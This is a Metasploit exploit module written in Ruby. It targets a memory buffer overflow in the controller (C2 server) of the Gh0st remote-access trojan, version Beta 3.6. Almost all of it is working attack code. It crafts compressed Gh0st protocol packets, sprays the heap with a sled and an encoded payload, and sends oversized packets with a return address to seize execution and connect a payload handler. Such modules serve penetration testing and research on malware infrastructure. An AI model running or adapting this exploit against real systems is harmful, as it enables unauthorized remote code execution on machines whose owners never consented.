128 lines
3.2 KiB
Ruby
128 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'zlib'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Gh0st Client buffer Overflow',
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'Description' => %q{
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This module exploits a Memory buffer overflow in the Gh0st client (C2 server)
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},
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'Author' => 'Professor Plum',
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'License' => MSF_LICENSE,
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'References' =>
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[
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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'AllowWin32SEH' => true
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => '',
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed
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},
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'Platform' => 'win',
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'DisclosureDate' => '2017-07-27',
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'Targets' =>
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[
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['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }]
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],
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'Privileged' => false,
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('MAGIC', [true, 'The 5 char magic used by the server', 'Gh0st']),
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Opt::RPORT(80)
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]
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)
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end
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def make_packet(id, data)
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msg = id.chr + data
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compressed = Zlib::Deflate.deflate(msg)
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datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed
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end
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def validate_response(data)
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if data.nil?
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print_status('Server closed connection')
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return false
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end
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if data.empty?
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print_status('No response received')
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return false
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end
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if data.size < 13
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print_status('Invalid packet')
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print_status(data)
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return false
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end
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mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV')
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if mag.index(datastore['MAGIC']) != 0
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print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size])
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return false
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end
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if pktlen != data.size
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print_status('Packet size mismatch')
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return false
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end
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msg = Zlib::Inflate.inflate(data[13..data.size])
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if msg.size != msglen
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print_status('Packet decompress failure')
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return false
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end
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return true
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end
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def check
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connect
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sock.put(make_packet(101, "\x00")) # heartbeat
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if validate_response(sock.get_once || '')
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return Exploit::CheckCode::Appears
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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print_status("Trying target #{target.name}")
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print_status('Spraying heap...')
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for i in 0..100
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connect
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sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded))
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if not validate_response(sock.get_once)
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disconnect
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return
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end
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end
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for i in 103..107
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print_status("Trying command #{i}...")
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begin
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connect
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sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28)
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sock.put(sploit)
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if validate_response(sock.get_once)
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next
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end
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sleep(0.1)
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break
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rescue EOFError
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print_status('Invalid')
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end
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end
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handler
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disconnect
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end
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end
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